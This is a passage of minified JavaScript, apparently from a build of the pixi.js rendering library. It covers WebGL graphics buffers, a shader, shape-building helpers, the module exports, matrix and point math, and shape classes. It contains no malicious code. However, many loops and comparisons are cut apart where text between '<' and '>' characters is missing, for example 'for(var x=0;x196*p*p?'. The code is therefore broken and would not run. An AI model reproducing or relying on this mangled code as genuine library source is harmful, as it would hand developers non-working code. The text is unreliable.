p.default(this.renderer.gl,this.primitiveShader,this.renderer.state.attribsState),n.nativeLines=r,n.reset(e),t.data.push(n)),n.dirty=!0,n},e}(l.default);r.default=S,d.default.registerPlugin("graphics",S)},{"../../const":46,"../../renderers/webgl/WebGLRenderer":84,"../../renderers/webgl/utils/ObjectRenderer":94,"../../utils":125,"./WebGLGraphicsData":58,"./shaders/PrimitiveShader":59,"./utils/buildCircle":60,"./utils/buildPoly":62,"./utils/buildRectangle":63,"./utils/buildRoundedRectangle":64}],58:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var i=t("pixi-gl-core"),o=function(t){return t&&t.__esModule?t:{default:t}}(i),s=function(){function t(e,r,i){n(this,t),this.gl=e,this.color=[0,0,0],this.points=[],this.indices=[],this.buffer=o.default.GLBuffer.createVertexBuffer(e),this.indexBuffer=o.default.GLBuffer.createIndexBuffer(e),this.dirty=!0,this.nativeLines=!1,this.glPoints=null,this.glIndices=null,this.shader=r,this.vao=new o.default.VertexArrayObject(e,i).addIndex(this.indexBuffer).addAttribute(this.buffer,r.attributes.aVertexPosition,e.FLOAT,!1,24,0).addAttribute(this.buffer,r.attributes.aColor,e.FLOAT,!1,24,8)}return t.prototype.reset=function(){this.points.length=0,this.indices.length=0},t.prototype.upload=function(){this.glPoints=new Float32Array(this.points),this.buffer.upload(this.glPoints),this.glIndices=new Uint16Array(this.indices),this.indexBuffer.upload(this.glIndices),this.dirty=!1},t.prototype.destroy=function(){this.color=null,this.points=null,this.indices=null,this.vao.destroy(),this.buffer.destroy(),this.indexBuffer.destroy(),this.gl=null,this.buffer=null,this.indexBuffer=null,this.glPoints=null,this.glIndices=null},t}();r.default=s},{"pixi-gl-core":15}],59:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function o(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}r.__esModule=!0;var s=t("../../../Shader"),a=function(t){return t&&t.__esModule?t:{default:t}}(s),u=function(t){function e(r){return n(this,e),i(this,t.call(this,r,["attribute vec2 aVertexPosition;","attribute vec4 aColor;","uniform mat3 translationMatrix;","uniform mat3 projectionMatrix;","uniform float alpha;","uniform vec3 tint;","varying vec4 vColor;","void main(void){"," gl_Position = vec4((projectionMatrix * translationMatrix * vec3(aVertexPosition, 1.0)).xy, 0.0, 1.0);"," vColor = aColor * vec4(tint * alpha, alpha);","}"].join("\n"),["varying vec4 vColor;","void main(void){"," gl_FragColor = vColor;","}"].join("\n")))}return o(e,t),e}(a.default);r.default=u},{"../../../Shader":44}],60:[function(t,e,r){"use strict";function n(t,e,r){var n=t.shape,i=n.x,u=n.y,h=void 0,l=void 0;if(t.type===s.SHAPES.CIRC?(h=n.radius,l=n.radius):(h=n.width,l=n.height),0!==h&&0!==l){var c=Math.floor(30*Math.sqrt(n.radius))||Math.floor(15*Math.sqrt(n.width+n.height)),d=2*Math.PI/c;if(t.fill){var f=(0,a.hex2rgb)(t.fillColor),p=t.fillAlpha,v=f[0]*p,g=f[1]*p,y=f[2]*p,m=e.points,_=e.indices,b=m.length/6;_.push(b);for(var x=0;x196*p*p?(R=O-P,A=M-C,I=Math.sqrt(R*R+A*A),R/=I,A/=I,R*=p,A*=p,h.push(T-R*L,w-A*L),h.push(y,m,_,g),h.push(T+R*N,w+A*N),h.push(y,m,_,g),h.push(T-R*N*L,w-A*L),h.push(y,m,_,g),d++):(h.push(T+(H-T)*L,w+(Y-w)*L),h.push(y,m,_,g),h.push(T-(H-T)*N,w-(Y-w)*N),h.push(y,m,_,g))}}b=r[2*(c-2)],x=r[2*(c-2)+1],T=r[2*(c-1)],w=r[2*(c-1)+1],O=-(x-w),M=b-T,I=Math.sqrt(O*O+M*M),O/=I,M/=I,O*=p,M*=p,h.push(T-O*L,w-M*L),h.push(y,m,_,g),h.push(T+O*N,w+M*N),h.push(y,m,_,g),l.push(f);for(var V=0;V=6){for(var i=[],o=t.holes,u=0;u0&&(0,s.default)(t,e,r)}r.__esModule=!0,r.default=i;var o=t("./buildLine"),s=n(o),a=t("../../../utils"),u=t("earcut"),h=n(u)},{"../../../utils":125,"./buildLine":61,earcut:2}],63:[function(t,e,r){"use strict";function n(t,e,r){var n=t.shape,i=n.x,a=n.y,u=n.width,h=n.height;if(t.fill){var l=(0,s.hex2rgb)(t.fillColor),c=t.fillAlpha,d=l[0]*c,f=l[1]*c,p=l[2]*c,v=e.points,g=e.indices,y=v.length/6;v.push(i,a),v.push(d,f,p,c),v.push(i+u,a),v.push(d,f,p,c),v.push(i,a+h),v.push(d,f,p,c),v.push(i+u,a+h),v.push(d,f,p,c),g.push(y,y,y+1,y+2,y+3,y+3)}if(t.lineWidth){var m=t.points;t.points=[i,a,i+u,a,i+u,a+h,i,a+h,i,a],(0,o.default)(t,e,r),t.points=m}}r.__esModule=!0,r.default=n;var i=t("./buildLine"),o=function(t){return t&&t.__esModule?t:{default:t}}(i),s=t("../../../utils")},{"../../../utils":125,"./buildLine":61}],64:[function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function i(t,e,r){var n=t.shape,i=n.x,o=n.y,a=n.width,h=n.height,d=n.radius,f=[];if(f.push(i+d,o),s(i+a-d,o,i+a,o,i+a,o+d,f),s(i+a,o+h-d,i+a,o+h,i+a-d,o+h,f),s(i+d,o+h,i,o+h,i,o+h-d,f),s(i,o+d,i,o,i+d+1e-10,o,f),t.fill){for(var p=(0,c.hex2rgb)(t.fillColor),v=t.fillAlpha,g=p[0]*v,y=p[1]*v,m=p[2]*v,_=e.points,b=e.indices,x=_.length/6,T=(0,u.default)(f,null,2),w=0,E=T.length;w6&&void 0!==arguments[6]?arguments[6]:[],u=a,h=0,l=0,c=0,d=0,f=0,p=0,v=0,g=0;v<=20;++v)g=v/20,h=o(t,r,g),l=o(e,n,g),c=o(r,i,g),d=o(n,s,g),f=o(h,c,g),p=o(l,d,g),u.push(f,p);return u}r.__esModule=!0,r.default=i;var a=t("earcut"),u=n(a),h=t("./buildLine"),l=n(h),c=t("../../../utils")},{"../../../utils":125,"./buildLine":61,earcut:2}],65:[function(t,e,r){"use strict";function n(t){if(t&&t.__esModule)return t;var e={};if(null!=t)for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e.default=t,e}function i(t){return t&&t.__esModule?t:{default:t}}r.__esModule=!0,r.autoDetectRenderer=r.Application=r.Filter=r.SpriteMaskFilter=r.Quad=r.RenderTarget=r.ObjectRenderer=r.WebGLManager=r.Shader=r.CanvasRenderTarget=r.TextureUvs=r.VideoBaseTexture=r.BaseRenderTexture=r.RenderTexture=r.BaseTexture=r.TextureMatrix=r.Texture=r.Spritesheet=r.CanvasGraphicsRenderer=r.GraphicsRenderer=r.GraphicsData=r.Graphics=r.TextMetrics=r.TextStyle=r.Text=r.SpriteRenderer=r.CanvasTinter=r.CanvasSpriteRenderer=r.Sprite=r.TransformBase=r.TransformStatic=r.Transform=r.Container=r.DisplayObject=r.Bounds=r.glCore=r.WebGLRenderer=r.CanvasRenderer=r.ticker=r.utils=r.settings=void 0;var o=t("./const");Object.keys(o).forEach(function(t){"default"!==t&&"__esModule"!==t&&Object.defineProperty(r,t,{enumerable:!0,get:function(){return o[t]}})});var s=t("./math");Object.keys(s).forEach(function(t){"default"!==t&&"__esModule"!==t&&Object.defineProperty(r,t,{enumerable:!0,get:function(){return s[t]}})});var a=t("pixi-gl-core");Object.defineProperty(r,"glCore",{enumerable:!0,get:function(){return i(a).default}});var u=t("./display/Bounds");Object.defineProperty(r,"Bounds",{enumerable:!0,get:function(){return i(u).default}});var h=t("./display/DisplayObject");Object.defineProperty(r,"DisplayObject",{enumerable:!0,get:function(){return i(h).default}});var l=t("./display/Container");Object.defineProperty(r,"Container",{enumerable:!0,get:function(){return i(l).default}});var c=t("./display/Transform");Object.defineProperty(r,"Transform",{enumerable:!0,get:function(){return i(c).default}});var d=t("./display/TransformStatic");Object.defineProperty(r,"TransformStatic",{enumerable:!0,get:function(){return i(d).default}});var f=t("./display/TransformBase");Object.defineProperty(r,"TransformBase",{enumerable:!0,get:function(){return i(f).default}});var p=t("./sprites/Sprite");Object.defineProperty(r,"Sprite",{enumerable:!0,get:function(){return i(p).default}});var v=t("./sprites/canvas/CanvasSpriteRenderer");Object.defineProperty(r,"CanvasSpriteRenderer",{enumerable:!0,get:function(){return i(v).default}});var g=t("./sprites/canvas/CanvasTinter");Object.defineProperty(r,"CanvasTinter",{enumerable:!0,get:function(){return i(g).default}});var y=t("./sprites/webgl/SpriteRenderer");Object.defineProperty(r,"SpriteRenderer",{enumerable:!0,get:function(){return i(y).default}});var m=t("./text/Text");Object.defineProperty(r,"Text",{enumerable:!0,get:function(){return i(m).default}});var _=t("./text/TextStyle");Object.defineProperty(r,"TextStyle",{enumerable:!0,get:function(){return i(_).default}});var b=t("./text/TextMetrics");Object.defineProperty(r,"TextMetrics",{enumerable:!0,get:function(){return i(b).default}});var x=t("./graphics/Graphics");Object.defineProperty(r,"Graphics",{enumerable:!0,get:function(){return i(x).default}});var T=t("./graphics/GraphicsData");Object.defineProperty(r,"GraphicsData",{enumerable:!0,get:function(){return i(T).default}});var w=t("./graphics/webgl/GraphicsRenderer");Object.defineProperty(r,"GraphicsRenderer",{enumerable:!0,get:function(){return i(w).default}});var E=t("./graphics/canvas/CanvasGraphicsRenderer");Object.defineProperty(r,"CanvasGraphicsRenderer",{enumerable:!0,get:function(){return i(E).default}});var S=t("./textures/Spritesheet");Object.defineProperty(r,"Spritesheet",{enumerable:!0,get:function(){return i(S).default}});var O=t("./textures/Texture");Object.defineProperty(r,"Texture",{enumerable:!0,get:function(){return i(O).default}});var M=t("./textures/TextureMatrix");Object.defineProperty(r,"TextureMatrix",{enumerable:!0,get:function(){return i(M).default}});var P=t("./textures/BaseTexture");Object.defineProperty(r,"BaseTexture",{enumerable:!0,get:function(){return i(P).default}});var C=t("./textures/RenderTexture");Object.defineProperty(r,"RenderTexture",{enumerable:!0,get:function(){return i(C).default}});var R=t("./textures/BaseRenderTexture");Object.defineProperty(r,"BaseRenderTexture",{enumerable:!0,get:function(){return i(R).default}});var A=t("./textures/VideoBaseTexture");Object.defineProperty(r,"VideoBaseTexture",{enumerable:!0,get:function(){return i(A).default}});var I=t("./textures/TextureUvs");Object.defineProperty(r,"TextureUvs",{enumerable:!0,get:function(){return i(I).default}});var D=t("./renderers/canvas/utils/CanvasRenderTarget");Object.defineProperty(r,"CanvasRenderTarget",{enumerable:!0,get:function(){return i(D).default}});var L=t("./Shader");Object.defineProperty(r,"Shader",{enumerable:!0,get:function(){return i(L).default}});var N=t("./renderers/webgl/managers/WebGLManager");Object.defineProperty(r,"WebGLManager",{enumerable:!0,get:function(){return i(N).default}});var B=t("./renderers/webgl/utils/ObjectRenderer");Object.defineProperty(r,"ObjectRenderer",{enumerable:!0,get:function(){return i(B).default}});var k=t("./renderers/webgl/utils/RenderTarget");Object.defineProperty(r,"RenderTarget",{enumerable:!0,get:function(){return i(k).default}});var F=t("./renderers/webgl/utils/Quad");Object.defineProperty(r,"Quad",{enumerable:!0,get:function(){return i(F).default}});var j=t("./renderers/webgl/filters/spriteMask/SpriteMaskFilter");Object.defineProperty(r,"SpriteMaskFilter",{enumerable:!0,get:function(){return i(j).default}});var U=t("./renderers/webgl/filters/Filter");Object.defineProperty(r,"Filter",{enumerable:!0,get:function(){return i(U).default}});var X=t("./Application");Object.defineProperty(r,"Application",{enumerable:!0,get:function(){return i(X).default}});var G=t("./autoDetectRenderer");Object.defineProperty(r,"autoDetectRenderer",{enumerable:!0,get:function(){return G.autoDetectRenderer}});var W=t("./utils"),H=n(W),Y=t("./ticker"),V=n(Y),z=t("./settings"),q=i(z),K=t("./renderers/canvas/CanvasRenderer"),Z=i(K),J=t("./renderers/webgl/WebGLRenderer"),Q=i(J);r.settings=q.default,r.utils=H,r.ticker=V,r.CanvasRenderer=Z.default,r.WebGLRenderer=Q.default},{"./Application":43,"./Shader":44,"./autoDetectRenderer":45,"./const":46,"./display/Bounds":47,"./display/Container":48,"./display/DisplayObject":49,"./display/Transform":50,"./display/TransformBase":51,"./display/TransformStatic":52,"./graphics/Graphics":53,"./graphics/GraphicsData":54,"./graphics/canvas/CanvasGraphicsRenderer":55,"./graphics/webgl/GraphicsRenderer":57,"./math":70,"./renderers/canvas/CanvasRenderer":77,"./renderers/canvas/utils/CanvasRenderTarget":79,"./renderers/webgl/WebGLRenderer":84,"./renderers/webgl/filters/Filter":86,"./renderers/webgl/filters/spriteMask/SpriteMaskFilter":89,"./renderers/webgl/managers/WebGLManager":93,"./renderers/webgl/utils/ObjectRenderer":94,"./renderers/webgl/utils/Quad":95,"./renderers/webgl/utils/RenderTarget":96,"./settings":101,"./sprites/Sprite":102,"./sprites/canvas/CanvasSpriteRenderer":103,"./sprites/canvas/CanvasTinter":104,"./sprites/webgl/SpriteRenderer":106,"./text/Text":108,"./text/TextMetrics":109,"./text/TextStyle":110,"./textures/BaseRenderTexture":111,"./textures/BaseTexture":112,"./textures/RenderTexture":113,"./textures/Spritesheet":114,"./textures/Texture":115,"./textures/TextureMatrix":116,"./textures/TextureUvs":117,"./textures/VideoBaseTexture":118,"./ticker":121,"./utils":125,"pixi-gl-core":15}],66:[function(t,e,r){"use strict";function n(t){return t<0?-1:t>0?1:0}r.__esModule=!0;var i=t("./Matrix"),o=function(t){return t&&t.__esModule?t:{default:t}}(i),s=[1,1,0,-1,-1,-1,0,1,1,1,0,-1,-1,-1,0,1],a=[0,1,1,1,0,-1,-1,-1,0,1,1,1,0,-1,-1,-1],u=[0,-1,-1,-1,0,1,1,1,0,1,1,1,0,-1,-1,-1],h=[1,1,0,-1,-1,-1,0,1,-1,-1,0,1,1,1,0,-1],l=[],c=[];!function(){for(var t=0;t<16;t++){var e=[];c.push(e);for(var r=0;r<16;r++)for(var i=n(s[t]*s[r]+u[t]*a[r]),d=n(a[t]*s[r]+h[t]*a[r]),f=n(s[t]*u[r]+u[t]*h[r]),p=n(a[t]*u[r]+h[t]*h[r]),v=0;v<16;v++)if(s[v]===i&&a[v]===d&&u[v]===f&&h[v]===p){e.push(v);break}}for(var g=0;g<16;g++){var y=new o.default;y.set(s[g],a[g],u[g],h[g],0,0),l.push(y)}}();var d={E:0,SE:1,S:2,SW:3,W:4,NW:5,N:6,NE:7,MIRROR_VERTICAL:8,MIRROR_HORIZONTAL:12,uX:function(t){return s[t]},uY:function(t){return a[t]},vX:function(t){return u[t]},vY:function(t){return h[t]},inv:function(t){return 8&t?15&t:7&-t},add:function(t,e){return c[t][e]},sub:function(t,e){return c[t][d.inv(e)]},rotate180:function(t){return 4^t},isVertical:function(t){return 2==(3&t)},byDirection:function(t,e){return 2*Math.abs(t)<=Math.abs(e)?e>=0?d.S:d.N:2*Math.abs(e)<=Math.abs(t)?t>0?d.E:d.W:e>0?t>0?d.SE:d.SW:t>0?d.NE:d.NW},matrixAppendRotationInv:function(t,e){var r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0,n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:0,i=l[d.inv(e)];i.tx=r,i.ty=n,t.append(i)}};r.default=d},{"./Matrix":67}],67:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var i=function(){function t(t,e){for(var r=0;r0&&void 0!==arguments[0]?arguments[0]:1,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0,o=arguments.length>3&&void 0!==arguments[3]?arguments[3]:1,s=arguments.length>4&&void 0!==arguments[4]?arguments[4]:0,a=arguments.length>5&&void 0!==arguments[5]?arguments[5]:0;n(this,t),this.a=e,this.b=r,this.c=i,this.d=o,this.tx=s,this.ty=a,this.array=null}return t.prototype.fromArray=function(t){this.a=t[0],this.b=t[1],this.c=t[3],this.d=t[4],this.tx=t[2],this.ty=t[5]},t.prototype.set=function(t,e,r,n,i,o){return this.a=t,this.b=e,this.c=r,this.d=n,this.tx=i,this.ty=o,this},t.prototype.toArray=function(t,e){this.array||(this.array=new Float32Array(9));var r=e||this.array;return t?(r[0]=this.a,r[1]=this.b,r[2]=0,r[3]=this.c,r[4]=this.d,r[5]=0,r[6]=this.tx,r[7]=this.ty,r[8]=1):(r[0]=this.a,r[1]=this.c,r[2]=this.tx,r[3]=this.b,r[4]=this.d,r[5]=this.ty,r[6]=0,r[7]=0,r[8]=1),r},t.prototype.apply=function(t,e){e=e||new s.default;var r=t.x,n=t.y;return e.x=this.a*r+this.c*n+this.tx,e.y=this.b*r+this.d*n+this.ty,e},t.prototype.applyInverse=function(t,e){e=e||new s.default;var r=1/(this.a*this.d+this.c*-this.b),n=t.x,i=t.y;return e.x=this.d*r*n+-this.c*r*i+(this.ty*this.c-this.tx*this.d)*r,e.y=this.a*r*i+-this.b*r*n+(-this.ty*this.a+this.tx*this.b)*r,e},t.prototype.translate=function(t,e){return this.tx+=t,this.ty+=e,this},t.prototype.scale=function(t,e){return this.a*=t,this.d*=e,this.c*=t,this.b*=e,this.tx*=t,this.ty*=e,this},t.prototype.rotate=function(t){var e=Math.cos(t),r=Math.sin(t),n=this.a,i=this.c,o=this.tx;return this.a=n*e-this.b*r,this.b=n*r+this.b*e,this.c=i*e-this.d*r,this.d=i*r+this.d*e,this.tx=o*e-this.ty*r,this.ty=o*r+this.ty*e,this},t.prototype.append=function(t){var e=this.a,r=this.b,n=this.c,i=this.d;return this.a=t.a*e+t.b*n,this.b=t.a*r+t.b*i,this.c=t.c*e+t.d*n,this.d=t.c*r+t.d*i,this.tx=t.tx*e+t.ty*n+this.tx,this.ty=t.tx*r+t.ty*i+this.ty,this},t.prototype.setTransform=function(t,e,r,n,i,o,s,a,u){return this.a=Math.cos(s+u)*i,this.b=Math.sin(s+u)*i,this.c=-Math.sin(s-a)*o,this.d=Math.cos(s-a)*o,this.tx=t-(r*this.a+n*this.c),this.ty=e-(r*this.b+n*this.d),this},t.prototype.prepend=function(t){var e=this.tx;if(1!==t.a||0!==t.b||0!==t.c||1!==t.d){var r=this.a,n=this.c;this.a=r*t.a+this.b*t.c,this.b=r*t.b+this.b*t.d,this.c=n*t.a+this.d*t.c,this.d=n*t.b+this.d*t.d}return this.tx=e*t.a+this.ty*t.c+t.tx,this.ty=e*t.b+this.ty*t.d+t.ty,this},t.prototype.decompose=function(t){var e=this.a,r=this.b,n=this.c,i=this.d,o=-Math.atan2(-n,i),s=Math.atan2(r,e),u=Math.abs(o+s);return u<1e-5||Math.abs(a.PI_2-u)<1e-5?(t.rotation=s,t.skew.x=t.skew.y=0):(t.rotation=0,t.skew.x=o,t.skew.y=s),t.scale.x=Math.sqrt(e*e+r*r),t.scale.y=Math.sqrt(n*n+i*i),t.position.x=this.tx,t.position.y=this.ty,t},t.prototype.invert=function(){var t=this.a,e=this.b,r=this.c,n=this.d,i=this.tx,o=t*n-e*r;return this.a=n/o,this.b=-e/o,this.c=-r/o,this.d=t/o,this.tx=(r*this.ty-n*i)/o,this.ty=-(t*this.ty-e*i)/o,this},t.prototype.identity=function(){return this.a=1,this.b=0,this.c=0,this.d=1,this.tx=0,this.ty=0,this},t.prototype.clone=function(){var e=new t;return e.a=this.a,e.b=this.b,e.c=this.c,e.d=this.d,e.tx=this.tx,e.ty=this.ty,e},t.prototype.copy=function(t){return t.a=this.a,t.b=this.b,t.c=this.c,t.d=this.d,t.tx=this.tx,t.ty=this.ty,t},i(t,null,[{key:"IDENTITY",get:function(){return new t}},{key:"TEMP_MATRIX",get:function(){return new t}}]),t}();r.default=u},{"../const":46,"./Point":69}],68:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var i=function(){function t(t,e){for(var r=0;r2&&void 0!==arguments[2]?arguments[2]:0,o=arguments.length>3&&void 0!==arguments[3]?arguments[3]:0;n(this,t),this._x=i,this._y=o,this.cb=e,this.scope=r}return t.prototype.clone=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;return new t(e||this.cb,r||this.scope,this._x,this._y)},t.prototype.set=function(t,e){var r=t||0,n=e||(0!==e?r:0);this._x===r&&this._y===n||(this._x=r,this._y=n,this.cb.call(this.scope))},t.prototype.copy=function(t){this._x===t.x&&this._y===t.y||(this._x=t.x,this._y=t.y,this.cb.call(this.scope))},t.prototype.equals=function(t){return t.x===this._x&&t.y===this._y},i(t,[{key:"x",get:function(){return this._x},set:function(t){this._x!==t&&(this._x=t,this.cb.call(this.scope))}},{key:"y",get:function(){return this._y},set:function(t){this._y!==t&&(this._y=t,this.cb.call(this.scope))}}]),t}();r.default=o},{}],69:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var i=function(){function t(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;n(this,t),this.x=e,this.y=r}return t.prototype.clone=function(){return new t(this.x,this.y)},t.prototype.copy=function(t){this.set(t.x,t.y)},t.prototype.equals=function(t){return t.x===this.x&&t.y===this.y},t.prototype.set=function(t,e){this.x=t||0,this.y=e||(0!==e?this.x:0)},t}();r.default=i},{}],70:[function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}r.__esModule=!0;var i=t("./Point");Object.defineProperty(r,"Point",{enumerable:!0,get:function(){return n(i).default}});var o=t("./ObservablePoint");Object.defineProperty(r,"ObservablePoint",{enumerable:!0,get:function(){return n(o).default}});var s=t("./Matrix");Object.defineProperty(r,"Matrix",{enumerable:!0,get:function(){return n(s).default}});var a=t("./GroupD8");Object.defineProperty(r,"GroupD8",{enumerable:!0,get:function(){return n(a).default}});var u=t("./shapes/Circle");Object.defineProperty(r,"Circle",{enumerable:!0,get:function(){return n(u).default}});var h=t("./shapes/Ellipse");Object.defineProperty(r,"Ellipse",{enumerable:!0,get:function(){return n(h).default}});var l=t("./shapes/Polygon");Object.defineProperty(r,"Polygon",{enumerable:!0,get:function(){return n(l).default}});var c=t("./shapes/Rectangle");Object.defineProperty(r,"Rectangle",{enumerable:!0,get:function(){return n(c).default}});var d=t("./shapes/RoundedRectangle");Object.defineProperty(r,"RoundedRectangle",{enumerable:!0,get:function(){return n(d).default}})},{"./GroupD8":66,"./Matrix":67,"./ObservablePoint":68,"./Point":69,"./shapes/Circle":71,"./shapes/Ellipse":72,"./shapes/Polygon":73,"./shapes/Rectangle":74,"./shapes/RoundedRectangle":75}],71:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var i=t("./Rectangle"),o=function(t){return t&&t.__esModule?t:{default:t}}(i),s=t("../../const"),a=function(){function t(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.radius=i,this.type=s.SHAPES.CIRC}return t.prototype.clone=function(){return new t(this.x,this.y,this.radius)},t.prototype.contains=function(t,e){if(this.radius<=0)return!1;var r=this.radius*this.radius,n=this.x-t,i=this.y-e;return n*=n,i*=i,n+i<=r},t.prototype.getBounds=function(){return new o.default(this.x-this.radius,this.y-this.radius,2*this.radius,2*this.radius)},t}();r.default=a},{"../../const":46,"./Rectangle":74}],72:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var i=t("./Rectangle"),o=function(t){return t&&t.__esModule?t:{default:t}}(i),s=t("../../const"),a=function(){function t(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0,o=arguments.length>3&&void 0!==arguments[3]?arguments[3]:0;n(this,t),this.x=e,this.y=r,this.width=i,this.height=o,this.type=s.SHAPES.ELIP}return t.prototype.clone=function(){return new t(this.x,this.y,this.width,this.height)},t.prototype.contains=function(t,e){if(this.width<=0||this.height<=0)return!1;var r=(t-this.x)/this.width,n=(e-this.y)/this.height;return r*=r,n*=n,r+n<=1},t.prototype.getBounds=function(){return new o.default(this.x-this.width,this.y-this.height,this.width,this.height)},t}();r.default=a},{"../../const":46,"./Rectangle":74}],73:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var i=t("../Point"),o=function(t){return t&&t.__esModule?t:{default:t}}(i),s=t("../../const"),a=function(){function t(){for(var e=arguments.length,r=Array(e),i=0;ie!=h>e&&t<(e-a)/(h-a)*(u-s)+s&&(r=!r)}return r},t}();r.default=a},{"../../const":46,"../Point":69}],74:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var i=function(){function t(t,e){for(var r=0;r0&&void 0!==arguments[0]?arguments[0]:0,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0,s=arguments.length>3&&void 0!==arguments[3]?arguments[3]:0;n(this,t),this.x=Number(e),this.y=Number(r),this.width=Number(i),this.height=Number(s),this.type=o.SHAPES.RECT}return t.prototype.clone=function(){return new t(this.x,this.y,this.width,this.height)},t.prototype.copy=function(t){return this.x=t.x,this.y=t.y,this.width=t.width,this.height=t.height,this},t.prototype.contains=function(t,e){return!(this.width<=0||this.height<=0)&&(t>=this.x&&t=this.y&&e0&&void 0!==arguments[0]?arguments[0]:1,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:.001,r=Math.ceil((this.x+this.width-e)*t)/t,n=Math.ceil((this.y+this.height-e)*t)/t;this.x=Math.floor((this.x+e)*t)/t,this.y=Math.floor((this.y+e)*t)/t,this.width=r-this.x,this.height=n-this.y},i(t,[{key:"left",get:function(){return this.x}},{key:"right",get:function(){return this.x+this.width}},{key:"top",get:function(){return this.y}},{key:"bottom",get:function(){return this.y+this.height}}],[{key:"EMPTY",get:function(){return new t(0,0,0,0)}}]),t}();r.default=s},{"../../const":46}],75:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var i=t("../../const"),o=function(){function t(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0,s=arguments.length>3&&void 0!==arguments[3]?arguments[3]:0,a=arguments.length>4&&void 0!==arguments[4]?arguments[4]:20;n(this,t),this.x=e,this.y=r,this.width=o,this.height=s,this.radius=a,this.type=i.SHAPES.RREC}return t.prototype.clone=function(){return new t(this.x,this.y,this.width,this.height,this.radius)},t.prototype.contains=function(t,e){if(this.width<=0||this.height<=0)return!1;if(t>=this.x&&t<=this.x+this.width&&e>=this.y&&e<=this.y+this.height){if(e>=this.y+this.radius&&e<=this.y+this.height-this.radius||t>=this.x+this.radius&&t<=this.x+this.width-this.radius)return!0;var r=t-(this.x+this.radius),n=e-(this.y+this.radius),i=this.radius*this.radius;if(r*r+n*n<=i)return!0;if((r=t-(this.x+this.width-this.radius))*r+n*n<=i)return!0;if(n=e-(this.y+this.height-this.radius),r*r+n*n<=i)return!0;if((r=t-(this.x+this.radius))*r+n*n<=i)return!0}return!1},t}();r.default=o},{"../../const":46}],76:[function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function i(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function s(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}r.__esModule=!0;var a=function(){function t(t,e){for(var r=0;r0){h=0;for(var d=0;d=2;g-=2)e.lineTo(a[g],a[g+1])}}}else if(o.type===i.SHAPES.RECT)e.rect(s.x,s.y,s.width,s.height),e.closePath();else if(o.type===i.SHAPES.CIRC)e.arc(s.x,s.y,s.radius,0,2*Math.PI),e.closePath();else if(o.type===i.SHAPES.ELIP){var y=2*s.width,m=2*s.height,_=s.x-y/2,b=s.y-m/2,x=y/2*.5522848,T=m/2*.5522848,w=_+y,E=b+m,S=_+y/2,O=b+m/2;e.moveTo(_,O),e.bezierCurveTo(_,O-T,S-x,b,S,b),e.bezierCurveTo(S+x,b,w,O-T,w,O),e.bezierCurveTo(w,O+T,S+x,E,S,E),e.bezierCurveTo(S-x,E,_,O+T,_,O),e.closePath()}else if(o.type===i.SHAPES.RREC){var 